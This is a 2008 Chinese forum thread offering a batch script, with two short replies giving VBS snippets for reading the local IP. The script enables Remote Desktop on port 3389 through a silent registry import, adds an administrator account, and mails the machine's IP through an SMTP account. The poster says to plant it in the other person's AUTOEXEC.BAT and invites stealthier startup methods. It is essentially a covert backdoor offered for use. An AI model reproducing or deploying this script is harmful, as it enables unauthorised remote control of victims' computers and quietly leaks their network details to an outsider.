中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名：www.cn-dos.net 论坛域名：www.cn-dos.net/forum
DOS，代表着自由开放与发展，我们努力起来，学习FreeDOS和Linux的自由开放与GNU精神，共同创造和发展美好的自由与GNU GPL世界吧！

游客: 注册 | 登录 | 命令行 | 会员 | 搜索 | 上传 | 帮助 »

中国DOS联盟论坛 » DOS批处理 & 脚本技术（批处理室） » 关于邮件发送ip 开3389

juventus
初级用户

积分 48
发帖 19
注册 2008-3-22
状态离线

『楼主』: 关于邮件发送ip 开3389

来了些日子
前些天看了一些关于批处理自动发送ip至自己邮箱的帖子
参考一些前辈的贴子
我只是总结一些主要谢谢nblue 的帖子

这段p主要是为了找回因为动态ip导致自己的3389丢失
其实这个东西木马完全能够做到本身就是为了学习p

这段是延迟等待开机以后用户联网时间可以自己时间
------------------------------------------
@echo off
attrie +s + r 这段p处理的名字
ping 127.0.0.1 -n 60 >nul
ping 127.0.0.1 -n 60 >nul
ping 127.0.0.1 -n 60 >nul
-------------------------------------------
每次开机都检查是否开3389  没开帮他开,
咋们做好事从不留名哦,呵呵
------------------------------------------
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg
-----------------------------------------------------------------------------------
下面建立用户这里我对if命令还不太熟悉  所以每次都要建立用户
希望有人能补充  这几天我也看看if命令
-----------------------------------------------------------------------------
net user 你的用户名密码 /add
net localgroup Administrators 你的用户名 /add
-----------------------------------------------------------------------

下面就是nblue贴中的 ipsc config Schedule start= DEMAND发送核心
用之前你必须要有2个邮箱其中一个支持smtp的邮箱我用的是qq的
这个我在xp和vista测试过 vista不能找到ip 但能收到邮件内容为空
-------------------------------------------------------------

for /f "tokens=2 delims=:" %%i in ('"ipconfig|findstr /I /c:"ip address""') do set a=%%i

echo NameSpace="http://schemas.microsoft.com/cdo/configuration/" >1.vbs
echo Set Email=CreateObject("CDO.Message") >>1.vbs
echo Email.From="你发送的邮箱地址" >>1.vbs
echo Email.To="你接收的邮箱地址" >>1.vbs
echo Email.Subject="TEST" >>1.vbs
echo Email.Textbody="%a%" >>1.vbs
echo With Email.Configuration.Fields >>1.vbs
echo ^.Item(NameSpace^&"sendusing")=2 >>1.vbs
echo ^.Item(NameSpace^&"smtpserver")="SMTP地址" >>1.vbs
echo ^.Item(NameSpace^&"smtpserverport")=25 >>1.vbs
echo ^.Item(NameSpace^&"smtpauthenticate")=1 >>1.vbs
echo ^.Item(NameSpace^&"sendusername")="用户名" >>1.vbs
echo ^.Item(NameSpace^&"sendpassword")="密码" >>1.vbs
echo ^.Update >>1.vbs
echo End With >>1.vbs
echo Email.Send >>1.vbs

cscript c:\1.vbs
del c:\1.vbs
--------------------------------------------------------

把这些东西弄到对方的AUTOEXEC.BAT 就好了

其实这个我最开始是想用注册表来启动这个批处理后面觉的麻烦
大家有兴趣可是想想更隐秘的方法

还有我也想过用at命令来启动上面那个p处理
但是at命令又需要一个批处理来完成启动这个批处理又需要注册表启动菜单中启动项启动
还要对方电脑上开启了 at命令这个没什么用
(sc config Schedule start= DEMAND
net start schedule )启动
比上面的注册表还麻烦
还是直接命名为AUTOEXEC.BAT比较简单

但是简单的就比较容易发现
小弟第一次发贴词文比较粗糙  妄大家见量
此贴技术含量不高比较适合菜鸟
小菜抛转期待老鸟牛X之举引来大量金快

2008-5-3 06:38

XZ
初级用户

积分 144
发帖 65
注册 2008-3-20
来自 Taiwan
状态离线

『第 2 楼』:

可以考慮全部使用VBS完成喔
因為既然動用到VBS了
為何不全部使用 ^^"
我在努力領悟 VBS怎麼抓取本機電腦名稱和IP
Set WS=CreateObject("MSWinsock.Winsock")
IPAddress=WS.LocalIP
MsgBox "Local IP=" & IPAddress
我查到這樣不過好像不會動 = ="

2008-5-5 13:30

slore
铂金会员

积分 5212
发帖 2478
注册 2007-2-8
状态离线

『第 3 楼』:

这个对象……很麻烦……不能直接用……因为他很危险嗬。

那个控件自己注册……什么的

以前发过一个查IP的对象……自己不留搜索下。

Set objrcl = CreateObject("rcbdyctl.Setting")
MsgBox objrcl.GetIPAddress
Set objrcl = Nothing

2008-5-5 13:40